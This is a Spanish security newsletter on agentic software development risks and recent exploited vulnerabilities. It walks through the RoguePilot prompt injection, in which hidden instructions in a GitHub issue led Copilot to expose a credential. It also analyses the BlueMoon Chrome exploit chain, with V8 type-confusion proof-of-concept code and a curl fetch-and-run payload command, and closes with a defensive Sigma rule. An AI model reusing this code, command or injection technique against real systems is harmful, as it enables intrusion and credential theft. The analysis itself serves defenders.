Stripe informó de que se fusionan cada semana más de 1,300 pull requests escritos íntegramente por agentes. Los agentes reciben tareas, examinan proyectos, modifican código, ejecutan pruebas y devuelven los cambios propuestos para su revisión por una persona.
Esa velocidad cambia el cuello de botella. La revisión humana puede evaluar el código terminado, pero no puede deshacer las acciones que un agente ya ha realizado mientras lo producía.
Esta semana analizamos cómo el ciclo de vida de desarrollo de software agéntico cambia lo que los equipos necesitan verificar, proteger y controlar antes de que el código llegue a producción.
También en este número: atacantes que obtienen acceso de administrador a Artifactory en menos de cinco minutos, explotación activa de una vulnerabilidad de severidad máxima en GitLab, un correo malicioso dirigido a Cisco Secure Email Gateway, la búsqueda automatizada de secretos en 1.8 millones de paquetes de Android, intrusiones en la nube con el pretexto de las passkeys, reFlutter para analizar aplicaciones Flutter y más.
En este número
🌡️ Nivel de amenaza: Alerta alta
⚡ Noticias: Cinco noticias de seguridad que conviene conocer
🔎 Análisis a fondo: 1,300 PR escritos por IA a la semana. ¿Quién los verifica?
🎣 ¿Es phishing?
🔬 Investigación técnica: Cuando la corrección upstream se convierte en el día cero: dentro de la cadena de explotación «BlueMoon» del navegador al kernel
🛠️ Herramienta de la semana: reFlutter
👏 Persona de la semana: Steve Springett
📅 Evento de la semana: FOSDEM 2027
📚 Libro de la semana: Fuzzing Against the Machine
😅 El meme
❓ Una pregunta antes de despedirnos
Manos a la obra.
🌡️ Nivel de amenaza
⚡ Noticias
Del acceso anónimo a administrador de Artifactory en menos de cinco minutos
La investigación de Wiz del 10 de septiembre, confirmada por los avisos de seguridad de JFrog, descubrió a atacantes que encadenaban CVE-2026-42018 y CVE-2026-42016 contra servidores Artifactory autoalojados. Una vulnerabilidad exponía un token de usuario anónimo; la otra elevaba sus permisos. Algunas intrusiones lograron una nueva cuenta de administrador en menos de cinco minutos, seguida de plugins maliciosos y backdoors en Rust. Aplique el parche y revise después las cuentas, los tokens y los plugins en busca de persistencia.
La vulnerabilidad de lectura de archivos de severidad máxima de GitLab ya se explota activamente
La versión de parches de GitLab del 10 de septiembre corrigió CVE-2026-85706, una vulnerabilidad CVSS 10.0 en la API de commits del repositorio. En determinadas condiciones, atacantes no autenticados pueden leer archivos arbitrarios del servidor, lo que podría exponer configuraciones y credenciales. BleepingComputer informó de que CISA añadió la vulnerabilidad a su catálogo de Vulnerabilidades Explotadas Conocidas. Actualice las instalaciones autoadministradas e investigue una posible exposición de secretos.
Un correo manipulado puede dar a los atacantes acceso root a la puerta de enlace de Cisco
El aviso de Cisco del 14 de septiembre confirma la explotación activa de CVE-2026-76461, una vulnerabilidad CVSS 9.8 en Secure Email Gateway. Un correo malicioso puede provocar una inyección SQL y dar lugar a la ejecución de comandos con privilegios de root en dispositivos físicos o virtuales vulnerables. The Hacker News informó de que Cisco se ha puesto en contacto con los clientes en los que se detectó actividad maliciosa. Aplique el parche de inmediato y revise los registros de la red externa y del firewall.
1.8 millones de paquetes de Android escaneados en una búsqueda automatizada de secretos
El informe de amenazas de septiembre de Anthropic describe una operación asistida por Claude que descargó 1.8 millones de APK de Android distintos, los descompiló y buscó secretos incrustados en el código. BleepingComputer informó de que los hallazgos verificados alimentaron una operación de recolección de credenciales, junto con un flujo independiente de tokens de GitHub. Inspeccione las versiones compiladas en busca de secretos reutilizables y revoque las credenciales expuestas, ya que las versiones futuras no invalidan las copias anteriores.
Una solicitud de actualización de passkey se convierte en la puerta de entrada a una intrusión en la nube
La investigación de Microsoft del 9 de septiembre describe a atacantes que se hacen pasar por personal de TI e instan a los empleados a actualizar sus passkeys o la configuración de inicio de sesión. El pretexto lleva a las víctimas a phishing o a aprobaciones de código de dispositivo que otorgan acceso a la cuenta. The Hacker News informó de que los atacantes añadían después métodos de autenticación y recopilaban correo y archivos en la nube. Correlacione los inicios de sesión, los cambios de autenticación y el acceso masivo a datos; después revoque las sesiones y elimine los métodos no autorizados.
🔎 Análisis a fondo:
1,300 PR escritos por IA a la semana. ¿Quién los verifica?
En febrero de 2026, Stripe informó de que se fusionaban cada semana más de 1,300 pull requests escritos íntegramente por agentes de IA.
A esa escala, producir código resulta más rápido que comprobar si es de fiar.
Los agentes de programación de Stripe reciben una tarea de un ingeniero, examinan el proyecto, modifican el código y ejecutan comprobaciones. Usan los resultados para intentar corregir antes de devolver los cambios propuestos para su revisión por una persona. El ingeniero revisa lo que vuelve sin dirigir cada paso intermedio.
La revisión humana puede evaluar el código terminado, pero no puede deshacer las acciones que el agente ya ha realizado mientras lo producía.
Por ejemplo, si durante la tarea el agente envía información confidencial del proyecto a un servicio externo, rechazar después su código no deshace la divulgación.
Esta forma de repartir el trabajo es la base del ciclo de vida de desarrollo de software agéntico, o SDLC agéntico.
El mismo modelo puede ir más allá de la programación y las pruebas para abarcar la planificación, el diseño, la programación, las pruebas, la revisión y el mantenimiento. Las personas fijan los objetivos y toman las decisiones importantes, mientras que los agentes ejecutan una parte mayor del trabajo.
Eso plantea dos preguntas de seguridad: ¿pueden los equipos confiar en lo que producen los agentes? ¿Y pueden controlar lo que hacen los agentes antes de que el trabajo llegue a revisión?
Por qué la revisión final no basta
La investigación RoguePilot de Orca muestra lo que puede ocurrir antes de que un pull request llegue a un revisor.
Nota: RoguePilot se basaba en una cadena de explotación específica de GitHub Codespaces que ya ha sido corregida.
Unas instrucciones ocultas en una incidencia de GitHub se pasaron a GitHub Copilot dentro de Codespaces. Combinadas con debilidades en las herramientas circundantes, podían exponer una credencial de acceso y permitir a un atacante tomar el control del repositorio.
Cuando un revisor ve el pull request, esa credencial puede estar ya expuesta. Rechazar el pull request resultante no deshace esa vulneración.
El pull request no es lo único que hay que proteger. El acceso y las acciones del agente también importan.
La responsabilidad empieza antes de la revisión
RoguePilot demuestra por qué la revisión final del código no puede ser el único punto de control. La responsabilidad comienza al definir la tarea y continúa durante la construcción, la verificación y la publicación.
Funciones de las personas y los agentes a lo largo del SDLC. Basado en Claude Academy y CodeRabbit.
La revisión final es solo un punto de control. La seguridad debe dar forma a la tarea, limitar a qué puede acceder el agente y qué puede hacer, verificar el resultado y controlar lo que llega a producción.
Qué necesita un agente antes de actuar
Para trabajar de forma segura y eficaz, un agente necesita algo más que el título de una tarea.
«Haz que el pago sea más rápido» parece claro. Pero podría significar cargar la página más deprisa, eliminar pasos para el cliente o confirmar los pagos antes. Cada interpretación podría dar lugar a un cambio distinto.
Cuatro datos aclaran la tarea:
Un resultado claro. El resultado previsto debe explicar qué significa «más rápido», cómo se medirá la mejora y qué no debe cambiar. Eso incluye los requisitos de seguridad, como garantizar que los clientes solo puedan acceder a sus propios pedidos.
Contexto actual del proyecto. El agente debe entender cómo funciona el pago, con qué sistemas se conecta, las convenciones de código del proyecto y las pruebas que describen el comportamiento esperado.
Decisiones anteriores. Es posible que intentos previos fallaran o fueran rechazados por motivos que el agente no puede descubrir a partir del código actual. Registrar esas lecciones en una guía de proyecto compartida ayuda a evitar que vuelvan los mismos errores.
Una única fuente de verdad autorizada. Los agentes de programación, los agentes de pruebas y los revisores deben trabajar a partir de los mismos requisitos aprobados. Cuando cambia una decisión, esa actualización debe llegar a todos los implicados.
Si un nuevo requisito del pago llega al agente de programación pero no al de pruebas, ambos pueden seguir trabajando sobre versiones distintas de la tarea. El código puede parecer correcto mientras las pruebas comprueban el comportamiento equivocado.
Un agente puede completar la tarea equivocada con gran eficiencia. Una dirección clara y actualizada es lo que convierte la velocidad en trabajo útil.
Verificar lo que producen los agentes
Una tarea clara le dice al agente qué debe construir. No demuestra que el resultado funcione.
Pruebas durante la tarea
Un agente puede modificar el código, ejecutar comprobaciones, examinar los fallos y volver a intentarlo. Cada resultado le ayuda a decidir qué corregir a continuación.
En el ejemplo del pago, una prueba podría revelar que el cambio propuesto registra un pedido dos veces. El agente puede investigar el fallo, revisar el código y volver a ejecutar la prueba.
Esa corrección sigue dejando otras preguntas sin respuesta. ¿Funciona la confirmación del pago? ¿Se conservan los registros de pedidos existentes? ¿Puede cada cliente acceder solo a su propia información?
Una prueba superada es evidencia de un comportamiento comprobado, no prueba de que todo el cambio sea seguro.
Comprobaciones más amplias antes de la aprobación
Antes de la aprobación, el cambio propuesto pasa por una verificación más amplia. Esta puede incluir pruebas más completas, análisis de código, comprobaciones de seguridad y revisión humana.
Cada comprobación responde a una pregunta distinta. Una compra correcta solo demuestra que la funcionalidad opera cuando todo sale bien. Aun así, podría fallar cuando se rechaza un pago o exponer la información de un cliente a otro.
Por tanto, la aprobación depende de saber qué se comprobó, qué requisitos cubren esas comprobaciones y qué queda sin resolver.
Cuando la verificación se queda atrás
Los agentes pueden producir cambios más rápido de lo que las personas pueden examinarlos. El trabajo propuesto empieza entonces a acumularse entre la implementación y la aprobación.
Sonar llama a esta acumulación «deuda de verificación»: trabajo que se ha producido pero cuya fiabilidad y seguridad aún no se han establecido.
El tiempo ahorrado al escribir código puede convertirse en tiempo dedicado a revisar resultados de pruebas, investigar fallos y decidir qué está listo para publicarse.
Los intentos de corrección repetidos también consumen tiempo y recursos de cómputo. En su flujo de trabajo Minions publicado, Stripe permite como máximo dos rondas de pruebas automatizadas más amplias antes de devolver el trabajo a una persona para un examen más detallado.
El cuello de botella se ha desplazado. Producir código se está volviendo más fácil que demostrar que está listo.
Controlar el acceso y las acciones de los agentes
La verificación examina el resultado que produce un agente. No determina a qué puede acceder el agente ni qué puede hacer mientras lo produce.
Un agente que trabaja en el pago puede necesitar permiso para cambiar archivos del proyecto y usar un entorno de pruebas. No necesita necesariamente acceso a los registros de clientes reales, a la configuración de pagos de producción ni a todos los sistemas conectados.
Dé a los agentes solo el acceso que requiere la tarea
El acceso debe corresponderse con el trabajo que se realiza. Los archivos, herramientas, cuentas y sistemas que no se necesitan para la tarea permanecen inaccesibles.
Algunas acciones también conllevan más riesgo que otras. Leer un archivo de pruebas no es lo mismo que modificar datos de producción o enviar información a un servicio externo. Las acciones de mayor impacto pueden quedar en pausa hasta que una persona las apruebe.
Aplique los límites con permisos y entornos aislados
Una instrucción escrita puede decirle a un agente que no acceda a un sistema. No puede impedir ese acceso si el agente ya tiene permiso.
Los controles externos al modelo aportan ese límite. Pueden incluir cuentas restringidas, permisos de herramientas, entornos de desarrollo aislados, límites a las conexiones externas y requisitos de aprobación.
Si el agente se comporta de forma inesperada o sigue instrucciones engañosas, esos controles restringen hasta dónde puede llegar.
Registre a qué accedió el agente y qué hizo
La aprobación se fortalece cuando abarca algo más que el código final. El registro de la tarea puede mostrar a qué archivos accedió el agente, qué herramientas usó, qué cambios hizo y qué acciones recibieron aprobación humana.
Esa evidencia ayuda a los revisores a entender no solo qué produjo el agente, sino cómo llegó a ello.
Una instrucción le dice al agente qué debe hacer. Los permisos determinan qué puede hacer.
Prepararse para el SDLC agéntico
El SDLC agéntico no elimina la responsabilidad humana. La desplaza.
A medida que los agentes asumen más implementación, pruebas e investigación, las personas dedican más tiempo a definir la tarea, fijar límites, examinar la evidencia y decidir qué llega a producción.
Esto hace que las debilidades del proceso de desarrollo circundante tengan más consecuencias. Un requisito poco claro puede llevar a un agente hacia el objetivo equivocado. Un acceso excesivo puede aumentar el daño de un error. Unas pruebas incompletas pueden generar confianza en un cambio que no está listo.
Una ejecución más rápida puede llevar esas debilidades más lejos antes de que alguien las advierta.
Prepararse para este cambio significa dar a los agentes una dirección clara, limitar a qué pueden acceder y qué pueden hacer, y verificar su trabajo antes de la publicación. El tiempo dedicado a mantener esos controles, revisar resultados y resolver fallos debe incluirse en cualquier evaluación de las ganancias.
La verdadera medida del progreso no será cuánto código produzcan los agentes, sino cuánto de él pueden los equipos verificar, proteger y publicar con confianza.
🎣 ¿Es phishing?
Un correo del «equipo de cuentas de Microsoft» llega a su bandeja de entrada con un código de seguridad de un solo uso. Usted no ha intentado iniciar sesión ni lo ha solicitado.
Observe con atención el mensaje y los datos del remitente.
¿Correo legítimo de Microsoft o intento de phishing?
🔬 Investigación técnica
Cuando la corrección upstream se convierte en el día cero: dentro de la cadena de explotación «BlueMoon» del navegador al kernel
¿Puede un parche de seguridad de código abierto convertir en arma los ataques contra tres mil millones de navegadores antes de que llegue la actualización?
La arquitectura de seguridad de un navegador se diseña bajo el supuesto de una contención por capas: si el motor de JavaScript falla, el sandbox del espacio de usuario contiene el fallo; si el sandbox flaquea, el kernel del sistema operativo impone el aislamiento de procesos. El kit de explotación «BlueMoon» desmanteló cada capa de esa defensa en menos de diez segundos:
Web Worker → confusión de tipos en sort inlined → escape del V8 sandbox → LPE de ALPC en el kernel de Windows → salida del sandbox del broker de integridad media
La campaña convirtió en arma dos días cero de Google Chrome junto con un día cero de escalada local de privilegios en el kernel de Microsoft Windows. Divulgado el 9 de septiembre de 2026 por Proofpoint y Volexity, BlueMoon fue desplegado en el mundo real por actores de amenazas alineados con un Estado, entre ellos JungleBamboo (APT31 / TA412) y UTA0560, contra organizaciones de defensa, diplomáticas y no gubernamentales.
Lo que hace de BlueMoon un caso históricamente significativo no es solo su elegancia técnica, sino su momento. La vulnerabilidad principal, CVE-2026-85046, se notificó al proyecto Chromium el 4 de agosto de 2026 y se corrigió en el repositorio Git público de código abierto el 7 de agosto. Sin embargo, la actualización estable compilada (Google Chrome 153) no llegó a los equipos de escritorio de los usuarios hasta el 3 de septiembre. Durante esta «brecha de parches» de cuatro semanas, los atacantes aplicaron ingeniería inversa al diff público del código fuente y convirtieron un parche upstream en un día cero contra una base instalada global.
Posteriormente, tanto las vulnerabilidades de Chrome como las de Windows fueron incluidas con orden de corrección urgente en el catálogo de Vulnerabilidades Explotadas Conocidas (KEV) de CISA.
┌────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ THE BLUEMOON EXPLOIT ARCHITECTURE │
└────────────────────────────────────────────────────────────────────────────────────────────────────────┘
[ Spear-Phishing / Reflected XSS ]
│
▼
┌──────────────────────────────┐
│ HTML Exploit Stager │ • Hidden iframe loads page.html (BUILD: b20260829a)
│ (Files1.html + react.js) │ • Decoy donation form displayed to mask background activity
└──────────────┬───────────────┘
│ Spawns dedicated Web Worker (isolates renderer crashes; 5x retry loop)
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 1: V8 TYPE CONFUSION (CVE-2026-85046) │
│ • Array.prototype.sort inlining bug in Maglev/TurboFan (TryReduceArrayPrototypeSort) │
│ • Element kind backwards migration via mid-sort Array.prototype.fill(0) │
│ • Result: PACKED_ELEMENTS confused as PACKED_SMI_ELEMENTS -> addrof & fakeobj heap primitives │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│ Arbitrary Read/Write within 4GB V8 Heap Cage
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 2: V8 SANDBOX ESCAPE (CVE-2026-87491) │
│ • WebAssembly instance metadata (WasmInstanceObject) and function jump tables corrupted │
│ • Overwrites compiled executable code pointers (RWX pages) │
│ • Executes embedded reflective shellcode (p1: Host Reconnaissance DLL) │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│ Low-Integrity / Untrusted Renderer Process Context
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 3: WINDOWS KERNEL LPE (CVE-2026-85880) │
│ • Executes reflective DLL payload p2 targeting ntoskrnl.exe (RtlpCreateServerAcl) │
│ • ALPC / WNF heap buffer overflow -> Kernel Read/Write │
│ • Locates renderer EPROCESS token -> elevates privileges & enables SeDebugPrivilege │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│ Elevated Token Privilege
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 4: BROKER INJECTION & SANDBOX BREAKOUT (Payload pp) │
│ • Injects shellcode into parent Chrome Browser Broker process (Medium Integrity) │
│ • Calls CreateProcessA() to execute command outside the sandbox: │
│ cmd.exe /c curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe" │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────────────────┐┌──────────────────────────────┐
│ CAMPAIGN A: UTA0560 ││ CAMPAIGN B: JUNGLEBAMBOO │
│ • Sideloads wsc.dll via ││ • SUPERSTOMP loader bypasses │
│ msgbox.exe dropper ││ Chrome Secure Preferences │
│ • Scheduled Task persistence ││ • Recalculates legacy │
│ • In-memory GRIMWEDGE ││ super_mac HMAC │
│ JScript C2 backdoor ││ • Deploys LONGTALE extension │
│ inside msiexec.exe ││ (masquerading as Gemini AI)│
└──────────────────────────────┘└──────────────────────────────┘ 1. La suposición del ordenamiento y la brecha del heap cage de V8 (CVE-2026-85046)
Para acelerar la ejecución de JavaScript, los compiladores de optimización de V8 (Maglev y TurboFan) eliminan de forma agresiva la sobrecarga de llamada de las funciones integradas. Al procesar Array.prototype.sort, el compilador invoca TryReduceArrayPrototypeSort en src/maglev/maglev-graph-builder.cc. Si el array contiene menos de 16 elementos y tiene elementos homogéneos conocidos, el compilador sustituye el builtin estándar TimSort por un ordenamiento por inserción ligero y inlined.
checkReceiverMaps();
temp = copy(receiver.elements);
insertionSort(temp, comparefn);
checkReceiverMapsAndLength();
copy(temp, receiver.elements); Como una función de comparación arbitraria de JavaScript (comparefn) puede ejecutar efectos secundarios arbitrarios, V8 no ordena el array in situ. En su lugar, copia los elementos a un FixedArray temporal, ejecuta el ordenamiento por inserción sobre esa copia y copia los resultados ordenados de vuelta al almacén de respaldo del receptor.
Antes de volver a escribir los resultados, V8 valida que el diseño del receptor no haya cambiado durante la ejecución del comparador mediante una protección CheckMaps:
// src/maglev/maglev-graph-builder.cc
if (receiver_maps_were_unstable) {
RETURN_IF_ABORT(AddNewNode<CheckMaps>(
{receiver}, receiver_maps_before_loop, CheckType::kOmitHeapObjectCheck));
}El fallo fatal era estructural: el compilador verificaba que el map actual del array fuera uno de los maps observados antes de que comenzara el bucle (receiver_maps_before_loop), en lugar de verificar que el map siguiera siendo idéntico a su tipo original previo al ordenamiento.
Al calentar la función JIT con arrays de enteros (PACKED_SMI_ELEMENTS) y arrays de objetos (PACKED_ELEMENTS), el vector de feedback registra ambos maps como candidatos válidos:
function confuse(arr) {
function compare() {
arr.fill(0); // Mutates element kind backwards mid-sort!
return 0;
}
arr.sort(compare);
}
// Train Maglev to accept both SMI and Object maps
for (let i = 0; i < 1000; i++) {
confuse([6, 9, 4, 2, 0]);
confuse([{}, {}, {}]);
}
[Figura 1: Un brazo clasificador mecánico que etiqueta mal punteros de objetos complejos con etiquetas de enteros y los cuela, burlando al guardia de seguridad, en el heap cage restringido de V8]
Con las reglas normales de V8, los tipos de elementos de un array solo transicionan de lo específico a lo general (PACKED_SMI → PACKED_ELEMENTS). Un array de objetos no puede convertirse espontáneamente en un array de enteros. Sin embargo, Array.prototype.fill() contiene una optimización especializada: al reemplazar todos los elementos de un array, V8 reconoce que los valores antiguos no sobreviven y migra el map hacia atrás:
// src/builtins/builtins-array.cc: is_replacing_all_elements branch
// For the case where we are replacing all elements, we can migrate the
// map backwards in the elements kind chain and ignore the current contents.
JSObject::SetMapAndElements(isolate, array, new_map, elements);Cuando arr.fill(0) se ejecuta dentro de compare(), el map del receptor se degrada de inmediato a PACKED_SMI_ELEMENTS. Cuando la rutina de ordenamiento termina, el CheckMaps defectuoso de V8 lo da por válido porque PACKED_SMI_ELEMENTS formaba parte del conjunto de entrenamiento. A continuación, V8 copia a ciegas los punteros de objetos ordenados de temp de vuelta al receptor.
El resultado es catastrófico: un array que el motor de JavaScript trata como si contuviera enteros pequeños (Smis) contiene en realidad punteros de objetos etiquetados de 32 bits sin procesar.
Verificación de reproducción en vivo
Probar esta primitiva en Google Chrome produce al instante una fuga por corrupción de memoria:
let bad = [{}, {}];
confuse(bad);
// Calling String() formats elements according to the PACKED_SMI map:
// Rather than returning "[object Object],[object Object]", it prints raw pointer integers!
let raw_leaks = String(bad);
// Output: "9055778,9055796"
// Reconstructing the 32-bit V8 Cage Compressed Pointer:
let addrof_target = (Number(raw_leaks.split(',')[0]) << 1) | 1;
// Output: 0x1145c45
[Figura 2: Reproducción en vivo en Chrome 150 que muestra la mutación de confusión de tipos de V8 Maglev y la extracción de punteros de heap comprimidos mediante la primitiva addrof]
Como V8 trata los elementos como Smis, leer mediante métodos auxiliares filtra directamente el desplazamiento del heap (addrof). Para lograr la primitiva inversa (fakeobj), BlueMoon se salta la write barrier del recolector de basura de V8 invocando Array.prototype.unshift(0) sobre un array de Old Space, desplazando punteros etiquetados a ranuras no administradas y fabricando un Float64Array falsificado con acceso arbitrario de lectura/escritura en todo el heap de V8.
2. Romper la jaula del V8 Sandbox (CVE-2026-87491)
Google introdujo el V8 Sandbox (heap cage) específicamente para neutralizar la corrupción de memoria del motor. Incluso si un atacante logra lectura/escritura arbitraria de memoria dentro del espacio de direcciones virtuales de 4GB de V8, los punteros fuera de la jaula se codifican como índices de 32 bits respecto a un registro base (r14), lo que impide escrituras directas en la memoria del host, los marcos de pila o el código ejecutable.
BlueMoon eludió este límite mediante CVE-2026-87491, dirigido a las estructuras internas de metadatos de WebAssembly.
[Figura 3: Una reacción en cadena mecánica lineal que muestra la ejecución fluyendo desde un Web Worker en segundo plano, a través de WebAssembly y ALPC del kernel de Windows, hasta la ejecución en el broker del host]
Mientras que los objetos de JavaScript están confinados a la jaula de 4GB, el motor de WebAssembly necesita acceso de alta velocidad a páginas de código ejecutable nativo. Una instancia de WebAssembly compilada (WasmInstanceObject) contiene tablas de saltos de función de 64 bits directas y referencias a descriptores de memoria que apuntan a memoria nativa.
Mediante su primitiva de lectura/escritura arbitraria en el heap de V8, BlueMoon:
Recorre el heap para localizar el WasmInstanceObject objetivo.
Corrompe los punteros de la tabla de saltos interna de la instancia y sus límites de memoria.
Redirige los destinos de la tabla de saltos a una página ejecutable que contiene shellcode independiente de la posición.
Invoca desde JavaScript la función de WebAssembly exportada, escapando de inmediato del V8 Sandbox hacia la ejecución nativa de CPU de 64 bits dentro del proceso de renderizado de Chrome.
Toda la cadena de explotación se ejecuta dentro de un Web Worker en segundo plano, generado desde una URL Blob por el stager del lado de la página (page.html). Si se produce un fallo irrecuperable durante la manipulación del heap, solo muere el hilo del worker; la pestaña visible del navegador no se ve afectada en absoluto. El script stager de la ventana principal registra los intentos de ejecución en sessionStorage[’v8ctf_exp_attempt’], y vuelve a generar el worker en silencio hasta cinco veces cuando el hilo termina.
3. Escapar del sandbox: LPE de ALPC en el kernel y salida del sandbox (CVE-2026-85880)
Escapar del sandbox de V8 deja al atacante en código nativo, pero todavía dentro del sandbox reforzado del proceso de renderizado de Google Chrome. El proceso de renderizado se ejecuta con integridad No confiable / Baja dentro de un AppContainer restringido con:
Cero acceso de escritura al sistema de archivos.
Acceso restringido a la pila de red.
Handles entre procesos no permitidos.
Para escapar del sandbox del sistema operativo, BlueMoon despliega tres payloads secuenciales independientes de la posición, preparados de antemano en memoria:
1. Payload p1: telemetría del host y sonda de integridad
p1 es un cargador independiente de la posición que desempaqueta de forma reflectiva una DLL de reconocimiento de 64 bits. Examina el entorno del host sin realizar acciones disruptivas:
Extrae los números exactos de compilación de Windows, la revisión del kernel y las características de CPUID.
Enumera los privilegios del token del proceso, los grupos del token y el nivel de integridad.
Detecta artefactos de virtualización y de sandbox (distinguiendo VMware, Hyper-V, KVM y Xen mediante las cadenas CPUID del proveedor del hipervisor).
La DLL serializa estos datos en un perfil JSON que devuelve a JavaScript. El script que la invoca inspecciona el número de compilación de Windows para determinar si el exploit del kernel es viable.
2. Payload p2: escalada de privilegios en el kernel de Windows (CVE-2026-85880)
Si el host ejecuta Windows 10 (compilaciones 1809 a 22H2), Windows Server 2022 o Windows 11 21H2, el script activa p2.
p2 es un exploit de día cero del kernel de Windows de propósito único, dirigido a RtlpCreateServerAcl dentro del subsistema Advanced Local Procedure Call (ALPC) y Windows Notification Facility (WNF) de ntoskrnl.exe. Al transmitir una estructura de atributos de mensaje ALPC malformada desde el proceso de renderizado de baja integridad, el exploit provoca un desbordamiento de búfer en el heap del kernel.
El exploit manipula la memoria del kernel para:
Localizar la estructura EPROCESS del proceso de renderizado de Chrome que realiza la llamada.
Sobrescribir la estructura TOKEN principal del proceso.
Habilitar SeDebugPrivilege y elevar el contexto de seguridad del proceso de renderizado.
3. Payload pp: inyección en el broker del navegador y salida del sandbox
Mientras el exploit del kernel manipula el TOKEN del proceso de renderizado para conceder SeDebugPrivilege y elevar el acceso, generar procesos directamente desde el proceso de renderizado los dejaría confinados dentro del AppContainer y de la window station aislada. Para lograr una ejecución de escritorio sin restricciones, con pleno acceso al sistema de archivos y a la red, el stub de shellcode pp aprovecha sus privilegios elevados del kernel para abrir un handle (PROCESS_ALL_ACCESS) al proceso broker del navegador Chrome padre.
Como el broker del navegador se ejecuta con integridad media estándar dentro de la sesión interactiva del usuario, inyectar shellcode en el broker permite a pp llamar a CreateProcessA fuera del sandbox:
cmd.exe /c curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe"La salida del sandbox está completa. Lo que empezó como un script sin privilegios dentro de un Web Worker en sandbox ahora ejecuta binarios arbitrarios en el entorno de escritorio interactivo del usuario.
4. Campañas en el mundo real y postexplotación divergente
Aunque UTA0560 y JungleBamboo usaron stagers de exploit idénticos byte a byte (page.html, p1, p2 y pp), sus operaciones de postexplotación divergieron por completo una vez ejecutado el dropper inicial:
[Figura 4: Vista forense que correlaciona la manipulación de Secure Preferences de Chrome, la suplantación de la extensión de Gemini, las ejecuciones de curl desde la línea de comandos y la persistencia mediante tareas programadas]
Campaña A: UTA0560 y el backdoor GRIMWEDGE
UTA0560 atacó a organizaciones no gubernamentales mediante correos de phishing que aprovechaban una vulnerabilidad XSS reflejado en el sitio web de una universidad de EE. UU. para redirigir a las víctimas a cloud[.]shinewrist[.]net.
Dropper (msgbox.exe): compilado el 31 de agosto de 2026. Extrae un binario legítimo de Windows y una DLL maliciosa de sideloading (wsc.dll).
Persistencia: crea una tarea programada de Windows llamada «Windows Scheduled System», configurada para volver a ejecutar la cadena de sideloading cada 5 minutos.
Staging: emite beacons a hxxps://cloud[.]shinewrist[.]net/<path>/%COMPUTERNAME%.txt y obtiene un payload MSI específico de cada equipo (Temp.txt).
Backdoor GRIMWEDGE: el MSI extrae un payload JScript ofuscado que se evalúa directamente en memoria dentro de msiexec.exe. GRIMWEDGE es un backdoor compacto de 250 líneas que admite diez comandos remotos: enumeración de directorios, terminación de procesos, transferencia de archivos y ejecución oculta de comandos.
Campaña B: JungleBamboo y el secuestro de extensiones con LONGTALE
JungleBamboo (APT31) prescindió por completo del despliegue de malware y se centró en cambio en la recolección sigilosa de credenciales mediante SUPERSTOMP y LONGTALE.
SUPERSTOMP apunta al directorio de perfil de Chrome para instalar una extensión persistente disfrazada de la oficial «Google Gemini AI Assistant» (ID de extensión: ckiknalbeplpcpofpnabcnhjcegckfei).
Para instalar una extensión en silencio sin activar las alertas de seguridad de Chrome, SUPERSTOMP derrota la verificación de integridad de Chromium:
Chromium verifica el archivo JSON Secure Preferences del perfil mediante autenticadores HMAC (por preferencia *_encrypted_hash y super_encrypted_hash).
SUPERSTOMP copia Secure Preferences, elimina todos los campos de hash cifrado modernos e inserta la configuración de la extensión maliciosa.
Calcula hashes HMAC heredados válidos y actualiza el super_mac del archivo.
Como Chrome permite recurrir a los HMAC heredados cuando faltan los autenticadores cifrados, el navegador valida el archivo falsificado al iniciarse, marca el perfil como pendiente de migración y genera automáticamente hashes cifrados válidos para la extensión del atacante.
Una vez cargada, LONGTALE opera por completo dentro del contexto de seguridad de Chrome:
Registra pulsaciones de teclas, entradas de formularios y eventos de pegado del portapapeles en todas las pestañas.
Extrae cookies y tokens de localStorage / sessionStorage.
Captura capturas de pantalla automáticas cada vez que la navegación del usuario coincide con palabras clave sensibles.
Se comunica con servidores C2 alojados detrás de Cloudflare Tunnels (cfargotunnel[.]com).
5. Guía defensiva y telemetría forense
Detectar cadenas de explotación que se ejecutan principalmente en memoria exige monitorizar los límites en los que los procesos del navegador interactúan con el sistema operativo.
1. Telemetría de procesos en endpoints y reglas Sigma
En condiciones normales, ni el proceso broker del navegador de Google Chrome ni sus procesos hijos aislados deberían generar utilidades del sistema de Windows, intérpretes de comandos ni clientes de red. Como BlueMoon escapa del sandbox inyectando shellcode en el broker del navegador Chrome padre (chrome.exe) y llamando a CreateProcessA, monitorizar los procesos hijos anómalos generados directamente por el broker del navegador ofrece una superficie de detección eficaz y de alta fidelidad.
title: Suspicious Chrome Process Creation Outside Sandbox
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\chrome.exe'
selection_children:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\curl.exe'
- '\msiexec.exe'
condition: selection_parent and selection_children
falsepositives:
- Rare enterprise web apps triggering local registered protocol handlers
level: critical2. Investigar la manipulación de Secure Preferences
Para identificar instalaciones sigilosas de extensiones como LONGTALE:
Inspeccione los directorios de extensiones: escanee %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions en busca de ID de extensión no listados o carpetas cargadas mediante sideloading.
Audite Secure Preferences: monitorice las escrituras en Secure Preferences que se produzcan fuera de la vida útil del proceso principal del navegador, o las regresiones repentinas en que los hashes cifrados modernos desaparecen del archivo.
3. La realidad de la «brecha de parches»
El incidente de BlueMoon pone de relieve la creciente ventana de vulnerabilidad inherente a los modelos de seguridad de código abierto. Cuando los ingenieros de Chromium confirman correcciones de seguridad en repositorios Git públicos, el diff es visible tanto para los investigadores de seguridad como para los actores de amenazas.
Las empresas no pueden depender únicamente de los ciclos de parches mensuales habituales:
Acelere la cadencia de versiones del navegador: active las actualizaciones automáticas del navegador e imponga reinicios por política en un plazo de 24 horas desde las versiones estables puntuales.
